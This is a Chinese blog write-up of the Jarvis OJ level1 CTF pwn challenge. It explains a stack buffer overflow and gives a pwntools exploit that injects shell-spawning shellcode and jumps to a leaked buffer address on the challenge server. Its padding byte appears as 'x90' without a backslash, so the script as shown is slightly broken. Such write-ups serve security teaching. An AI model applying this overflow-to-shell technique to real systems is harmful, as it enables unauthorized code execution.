• Jarvis OJ [XMAN]level1 write up


    首先

    老规矩,把软件拖到Ubuntu里checksec一下文件

    然后知道了软件位数就放到IDA32里面。。。

    熟悉的函数名。。。

    缘真的妙不可言。。。

    然后看了下vulnerable_function函数的栈结构

    算了下

    vulnerable_function中的read函数准备给buf 0x100的空间

    但是buf却用了0x88+0x4就结束了vulnerable_function函数。。

    (0x88 + 0x4)<(0x100)

    所以这里出现了栈溢出

    但是,我F12+Shift一下却没发现有getshell的函数。。。

    别慌,问题不大。。

    自己构造shellcode

    当然用万能的pwntools啦。。

    不可能手工pwn的,这辈子都不可能。

    漏洞利用

    把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode

    利用代码:

    from pwn import *
    
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    
    shellcode = asm(shellcraft.sh()) #shellcraft 提供了很多现成shellcode,当然要翻译成asm格式的
    io = remote("pwn2.jarvisoj.com",9877) #要攻击的目标机
    
    buffer = io.recvline()[14:-2] 
    buf_addr = int(buffer,16)
    payload = shellcode + 'x90'*(0x88+0x4-len(shellcode)) + p32(buf_addr) #p32是打包数据库
    io.send(payload)
    io.interactive()
    io.close()

    最后

    pwntools的简单入门可以百度pwntools,看下别人整理的笔记。

  • 相关阅读:
    最小二乘拟合(scipy实现)
    接口实例
    类的继承:员工和老板
    设计模式(Design Patterns)
    创建类
    面向对象1
    java随机数:彩票抽奖 + 验证码
    判断字符串中字符出现的次数+去除空格
    输出二维数组所有元素的和
    输出 一维数组中最大的数+数组遍历
  • 原文地址:https://www.cnblogs.com/Tu9oh0st/p/8551058.html
Copyright © 2020-2023  润新知